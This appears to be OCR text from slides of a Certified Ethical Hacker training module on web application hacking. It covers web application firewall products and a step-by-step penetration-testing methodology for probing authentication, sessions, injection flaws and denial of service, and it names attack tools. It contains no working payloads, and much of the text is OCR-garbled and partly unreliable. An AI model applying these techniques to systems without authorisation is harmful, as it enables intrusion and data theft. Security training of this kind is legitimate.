CEH, MCITP, CCNA, CCNP, VMware sPhere, LPI, Web Design




Web Application Firewall: IBM AppScan

@ Untitled - 1BM Rational AppScan
Tools  Heb

Fle E&

Url Based ~

732 My Appicaion (5)
AR

& defoult anp

& eych.amK

13}

. Viked URLs 8733

Viow  Scan

= S htp/idenatetivenst/ 5]
& comment e (1]
& feedback aspx

& survey_queshonz. sspx

Testing: hitp.//demo. testline. net/msadc/

Axanged By Severly
£3 5 Secuty |ssues (7 vanaris) for Wy Aoplcation’

Descendng

ERY ] Cros1-S5ee Scrotng U
= D Mip //dema lestius oel/comment aspe (1
O comment sepx
S G Databaen Fer Paltoen Found ()
= @ Hitp.//dematestive net/barkdogn sspx (1
O loon sspx

=0 °?"" ';‘3 + (i Diectory Liskng (1]

gl a 4 (@@ Appicaion Teut Sert Detectad (1)

o opnapx (1) & (2 Microsolt ASP NET Debugging Ensbled (1)
= L0 mages

79/

Next »

0 lsoxlomaton ¥ Adwoy & FiReconmendston  o® Requedt/Response

“ Severity: OHigh

» Type: Appiic ation-level test

3 WASC Threat Classificati Olicnt-aide AMacks Croaa-aite Ceriphing
7 CVE Reference(s): WA

% Security Risk: 1 is possible to

¥ Possible Causes

Sanitation ¢

Compleied Tests 1338/8480

user

11 5S5ecuty lssuss 02 LAl P2 @o

http://www-01.ibm.com

IBM Rational AppScan is a
web application security
testing tool that automates
vulnerability assessments

) Prevents SQL injection attacks
on websites

) Scans web sites for
embedded malware

_J Regulatory compliance and
reporting
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Web Application Firewall:
SexrverDefender VP

¥ ServerDefender Yulnerability Protection (VP) Settings Manager

Ele Contigre Help

serverdefender VP port80

3 C“"’“‘ES“W Protection for Global Settings is ON S OFF @ LOGONLY O ON

W Qauntlet - =
@ SharsPoint Central Administration Site Request Response Session m Etror ® Admin
ServerDefender VP secures ® :

2 Status Mgmt Mgmt Mgmt ¥ Mgmt * Options
your sensitive database Bt Input Vabdation: | Buffer Overfiow | Resources | HTTP Methods | Fie Uploads | Exceptions |
content by blocking threats Common Threats

h : ¥ 8lock SQU Injection
sucn as: V' Block Cross Ske Saipting (<55)  [Allow HTML with predefined checiist  ~ |
Cross-site scripting B PR HIEEsater: et
[V Prevent HTTP Parameter Poisoning

SQL injection - Generic Input Sanitization

" None
Buffer overflows

& Mininum {031, 127, 175-223, 255]
P - ‘o . .
File inclusion Extended [5, <, ", "1+ Mnimum

C parancid [, *,°, 4, ;, 1+ Extended
Denial of service

Cookie poisoning Santization Action: Deny and Log

Schema poisoning

http://www.port80software.com
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Web Application
b4

Hyperguard

http://www.artofdefence.com

SmartWAF
http://www.armorize.com
r.... T Profense ThreatRadar
l‘&; . http://www.armorlogic.com
EA

http://www.imperva.com
Radware’s AppWall

http://www.radware.com

3

= \] webApp.Secure™
\/ >

http://www.webscurity.com

e

ThreatSentry

http://www.privacyware.com

|

(e
;—J ModSecurity

&

http://www.breach.com

http:

Copyright © by EG-Councl
All Rights Reserved. Reproduction is Strictly Prohibited
e ™ =
cchvn (gREH NEWS

Canified Ethical Hacker

TEAEIR http://i-train.com.vn

CEH, MCITP, CCNA, CCNP, VMware sPhere, LPI, Web Design



Module Flow

e ™
v Countermeasures _— r—]gﬁ Hacking Methodologyv
-

y Web Application Hacking Tools
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Web Application Pen Testing

» Web application pen testing is used to identify, analyze, and report vulnerabilities such as input validation,
buffer overflow, SQL injection, bypassing authentication, code execution, etc. in a given application

~ Best way to perform penetration testing is to conduct a series of methodical and repeatable tests, and to
work through all of the different application vulnerabilities

.

Why Web Application Pen Testing? J

Identification Verification - Remediation
of Ports

Scan the ports to identify the To exploit the vulnerability in To retest the solution against
associated running services and order to test and fix the vulnerahility to ensure that it
analyze them through automated issue is completely secure

or manual tests to find

weaknesses e

2 v
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Web Application Pen Testing

Define Objective /31

v

-----

Document all

the Findings

http://ceh.vn (R EH NEW S
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Information Gathering

Allowed and disallowed © Retrieve and analyze robots.txt file

robots.ixt file /ikiiids CLEED 2 directories using tools such as wget and
Google Webmaster tools

© Use the advanced "site:" search

Perform search engine Issues of web application operator and then click "Cached”
L Rttt structure, error pages to perform search engine
produced reconnaissance
\:/ © Identify application entry points
Cookie information, 300 using tools such as Wehscarab,
Identify application > HTTP and 400 status codes, Burp proxy, Paros Proxy, TamperlE
entry points 500 internal server errors (for Internet Explorer) Tamper Data
g (for Firefox)
Y © To identify web applications: probe
Identify theweb . Web applications, old for URL’s, do dictionary-style
applications versions of files or artifacts searching (intelligent guessing) and
: perform vulnerability scanning
@ using tools such as Nmap (Port
Analyze the O/P from Web server software SCanfEr) aHE R
HEAD and OPTIONS  reevreveeees > version, scripting © Implement techniques such as DNS
http requests environment, and OS in use Zone transfers, DNS inverse
@ queries, Web-based DNS searches,
e querying search engines (googling)
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Information Gathering

@ Analyze error codes by requesting invalid
pages and utilize alternate request methods

s+:»  of databases, bugs, and (POST/PUT/Other) in order to collect

technological components confidential information from the server

Software versions, details

© Examine the source code from the accessible
pages of the application front-end

Web application © Test for recognized file
environment types/extensions/directories by requesting
‘ common file extensions such as .ASP, . HTM,
.PHP, .EXE and watch for any unusual output
or error codes

©  Pperform TCP/ICMP and service fingerprinting
Provide clues as to the using traditional fingerprinting tools such as
e underlying application Nmap and Queso, or the more recent
environment application fingerprinting tools Amap and
WebServerFP

<----l

e and associated ports

|
|
|
Web application services
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Configuration Management
Testing

_\E_/_‘ START TTTTTTTTTTN

v

. g . ¥ I|dentify the ports associated to S5L/TLS wrapped services using Nmap
Disclosure of confidential G Perform SSL/TLS and Nessus

information testin
g ¥ Perform network scanning and analyze the web server banner

. ¥ Tast the application configuration management using CGI scanners and
v reviewing the contents of the web server, application server, comments,
configuration and logs

Source code of the Perform infrastructure

L L -CEETE configuration management ¥ Use vulnerability scanners, spidering and mirroring tools, search engines
application ueries or perfo | inspection to test for file extensions handli
testing queries or perform manual inspection to test for file extensions handling
. ¥ Review source code, enumerate application pages and functionality
Y ¥ Perform directory and file enumeration, reviewing server and application
Information in the source Perform application documentation, etc. to test for infrastructure and application admin
. . PP interfaces
code, log files and default  €-««-- configuration management
error codes testing ¥ Review OPTIONS HTTP method using Netcat or Telnet
d
\ 4
Confidential information Test for file extensions Test for HTTP methods . > Credentials of
about access credentials handling and XsT legitimate users
- A
Y -
Source code, installation Verify the presence of old, Test for infrastructure Admin interfaces can be
paths, passwords for € backup, and unreferenced "  and application admin  *****»  found to gain access to
applications and databases files interfaces admin functionality
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Authentication Testing

Passwords, & Try to reset passwords by guessing, social
Remember password [ITTIITOIID authentication engineering or cracking secret questions, if used.
and pwd reset weakness Check if "remember my password"” mechanism is
implemented by checking the HTML code of the
login page.

& Checkif itis possible to “reuse” a session after
logout. Also check if the application automatically
vulnerabilities logs out a user when that user has been idle for a

gastioclogoutand Authentication

certain amount of time, and that no sensitive data
remains stored in the browser cache.

@ Identify all parameters that are sent in addition to

Authentication the decoded CAPTCHA value from the client to the
vulnerabilities | server and try to send an old decoded CAPTCHA
value with an old CAPTCHA ID of an old session
; ID
v . .
@ Check if users hold a hardware device of some
. Multiple factors kind in addition to the password. Check if
P authentication hardware device communicates directly and
e FEmls e independently with the authentication
. infrastructure using an additional communication
v channel.

€ Attempt to force a race condition, make multiple
simultaneous requests while observing the
outcome for unexpected behavior. Perform code
review.

| phllhd e Race conditions
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Management 3"
schema

\ 4

Test for cookie

attributes

\4

Test for session

fixation

v

Test for exposed
session variables

v

Test for CSRF (Cross
Site Request Forgery)

Session Management Testing

Cookie tampering results in

1> hijacking the sessions of
legitimate users
k.. Cookie information to
hijack a valid session
Attacker could steal the
i---}

user session (session
hijacking)

Confidential information of
> session token leads to
replay session attack

Compromises end user
D> data and operation or
entire web application

|
Collect sufficient number of cookie samples,

analyze the cookie generation algorithm and
forge a valid cookie in order to perform the
attack

Test for cookie attributes using intercepting
proxies such as Webscarab, Burp proxy, Paros
Proxy or traffic intercepting browser plug-in’s
such as "TamperlE"(for IE), and "Tamper
Data"(for Firefox)

To test for session fixation make a request to
the site to be tested and analyze vulnerahilities
using the WebScarab tool

Test for exposed session variables by inspecting
encryption & reuse of session token, proxies &
caching , GET & POST, and transport
vulnerahilities

Examine the URLs in the restricted area to test
for CSRF

D
@

{ "
-
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Authorization Testing

seaes,
4
>
o)
i
C

Test for pat > Can gain access to
traversal reserved information

L

Can gain illegal access to
reserved functions/
resources

Access to resources
e »  [functionality allowing
privilege escalation attack

Test for path traversal by performing input vector enumeration and analyzing the input validation functions present in the web
application

Test for bypassing authorization schema by examining the admin functionalities, to gain access to the resources assigned to a
different role

@ Test for role/privilege manipulation
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Session cookie
information

Sensitive information

Test for stored

Data Validation Testing

Detect and analyze input vectors for potential vulnerabilities, analyze the
wulnerability report and attempt to exploit it. Use tools such as OWASP CALS000,
WebScarab, X55-Proxy, ratproxy, and Burp Proxy

Analyze HTML code, test for Stored X355, leverage Stored X35, verify if the file
upload allows setting arbitrary MIME types using tools such as OWASP CAL9000,
Hackvertor, BeEF, X55-Proxy, Backframe, WehScarab, Burp, and XS5 Assistant

Perform source code analysis to identify JavaScript coding errors

such as session | Al it _ = Analyze SWF files using tools such as SWFIntruder, Decompiler, Compiler,
authorization tokens cross-site scrlptlng Disassembler, Swimill, and Debugger Version of Flash Flugin/Flayer
o = Perform Standard SOL Injection Testing, Union Query SOL Injection Testing,
\? Blind 0L Injection Testing, and Stored Procedure Injection using tools such as
OWASP 50LIX, sgininja, SglDumper, sglbftools, SOL Power Injector, etc.
Tl e R TI-— Test for DOM based = Use a trial and error approach by inserting (", *|", "&', "*" and the other
cross site scriptin characters in order to check the application for errors. Use the tool Softerra
g LDAP Browser
V % ~
Information on DOM ” Test for cross site Sensitive information g
_b?SEd Cross S't_e_ ) flashing about users and hosts \ b %
scripting vulnerahilities '{ S
- A
v 5
. . Perform SQL Perform LDAP
Database information ‘(""' Q "'"} '"'""'}

injection testing

injection testing
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Data Validation Testing

@ Discover vulnerabilities of an ORM tool

erform O : —
2 P 2 i Information on SQL and test web applications that use ORM.
miection teatns injection vulnerability Use tools such as Hibernate, Nhibernate,

and Ruby On Rails.

®

. Try to insert XML metacharacters
Information about

XML structure

®

Find if the web server actually supports
SSI directives using tools such as Web
Proxy Burp Suite, Paros, WebScarab,
T T String searcher: grep

environment variables

@ Inject XPath code and interfere with the
query result
€ Identify vulnerable parameters.

Access confidential
information

Understand the data flow and
deployment structure of the client, and
perform IMAP/SMTP command injection

Access to the backend
mail server

D
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Input validation

injection testing /NN > errors
\4
Perform OS vessestensd  Local data and system
commanding information
A4
Perform buffer .StaCk anc.i heap .
g jesnne ©»  information, application
overflow testing
control flow
v
Perform incubated 5 Servz.er configgrat.ion
vulnerability testing and input validation
schemes
v
Testfor HTTP Cookies, and HTTP

splitting/smuggling

redirect information

Canified Ethical Hacker

6 :-TRAIN http:

----- ; Data Validation Testing

& Inject code (a malicious URL) and perform '
source code analysis to discover code injection

ARy |
vulnerabilities

2 Perform manual code analysis and craft
malicious HTTP requests using | to test for OS
command injection attacks

= Perform manual and automated code analysis
using tools such as OllyDbg to detect buffer
overflow condition

=~ Upload a file that exploits a component in the
local user workstation, when viewed or
downloaded by the user, perform XSS, and SQL
injection attack

~ Identify all user controlled input that
influences one or more headers in the
response, and check whether he or she can
successfully inject a CR+LF sequence in it
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o s, Denial of Service Testing

.. & Craft a query which will not return a result and
Application includes several wildcards. Test manually or employ
information a fuzzer to automate the process

& Test that an account does indeed lock after a certain
Login account number of failed logins. Find places where the
information application discloses the difference between valid and
invalid logins
& Perform a manual source code analysis and
Buffer overflow submit a range of inputs with varying lengths to
points the application
Maximum number of - Fin-d w-here the numbers subm-itte-d as a name/value
. I pair might be used by the application code and attempt

objects that application to set the value to an extremely large numeric value,

can handle then see if the server continues to respond
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Testing

Enter an extremely large number in ‘

et
Logical errors in an et : : S
as a loop counter S BDe o input field that is used by application
as a loop counter
€ Use a script to automatically submit

v an extremely long value to the server
in the request that is being logged

Write user provided | > Local
data to disk disks exhaustion @ Identify and send a large number of
: requests that perform database
: operations and observe any
V slowdown or new error messages
2  C(Create a script to automate the

Test for proper release

-------- »  Programming flaws creation of many new sessions with
of resources

the server and run the request that is
suspected of caching the data within
the session for each one

v ~
Test for storingtoo > Session management 7 ’t )
much data in session errors

Copyright © by EG-Gouncil
All Rights Reserved. Reproduction is Strictly Prohibited.

=

http://ceh.vn

S B
EeH NEWS 6 I . TmRAEIR http://i-train.com.vn
Fere s CEH, MCITP, CCNA, CCNP, VMware sPhere, LPl, Web Design




Information of UDDI,
WSDL, SOAP, and UBR

WSDL entry points

XML parser

Information about 5QL,
XPath, buffer overflow and
command injection
vulnerabilities

HTTP GET/REST
attack vectors

Web Services Testing

To gather WS information use tools such as Net Square wsPawn, Soaplite,
SOAPClientd4XG, CURL, Perl, etc. and online tools such as Seekda, UDDI
Browser, WSIndex, and Xmethods

Use toels such as WSDigger, WebScarab and Foundstone to automate web
sarvices security testing

Pass malformed SCOAP messages to XML parser or attach a very large string to
the message. Use WSdigger to perform automated XML structure testing
Grnne

Use web application wvulnarability scanners such as WebScarab to test XML
content-level vulnerabilities

Pass malicious content on the HTTP GET strings that invoke XML applications

Craft an XML document (SOAP message) to send to 2 web service that contains
malware as an attachment to check if XML document has SOAP attachment
vulnerability

.

Attempt to resend a sniffed XML message using Wireshark and WebScarab

Information about
P

T
MITM vulnerability

SOAP message
information

T NS
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- START & Testing

sssssnun

v
Testing for  \|SNEE—_GG > AJAX application call ‘
AJAX endpoints
- !
A4
XMLHttpRequest object,
Parse the !-ITN_IL andadl.......... > JavaScript files, AJAX
JavaScript files ek
\ 4
Use a proxy to | ey » Format of application ‘
observe traffic requests ‘

Z  Enumerate the AJAX call endpoints for the asynchronous calls using tools such as Sprajax
—~ Observe HTML and JavaScript files to find URLs of additional application surface exposure

— Use proxies and sniffers to observe traffic generated by user-viewable pages and the background asynchronous traffic
to the AJAX endpoints in order to determine the format and destination of the requests
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IModule

O Organizations today rely heavily on web applications and Web 2.0 technologies to support key
business processes and improve performance

U With increasing dependence, web applications and web services are increasingly being targeted by
various attacks that results in huge revenue loss for the organizations

O Some of the major web application vulnerabilities include injection flaws, cross-site scripting (XSS),
SQL injection, security misconfiguration, broken session management, etc.

Q Input validation flaws are a major concern as attackers can exploit these flaws to perform or create
a base for most of the web application attacks, including cross-site scripting, buffer overflow,
injection attacks, etc.

O Itis also observed that most of the vulnerabilities result because of misconfiguration and not
following standard security practices

O Common countermeasures for web application security include secure application development,
input validation, creating and following security best practices, using WAF Firewall/IDS and
performing regular auditing of network using web application security tools
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Quotes

k( Application security is a growing concern for enterprises. Achieving an
industry standard for the classification of these associated
vulnerabilities will help customers better understand the risks inside
their organization. J/J

- Caleb Sima,
CTO and Co-Founder,
SPI Dynamics, Inc.
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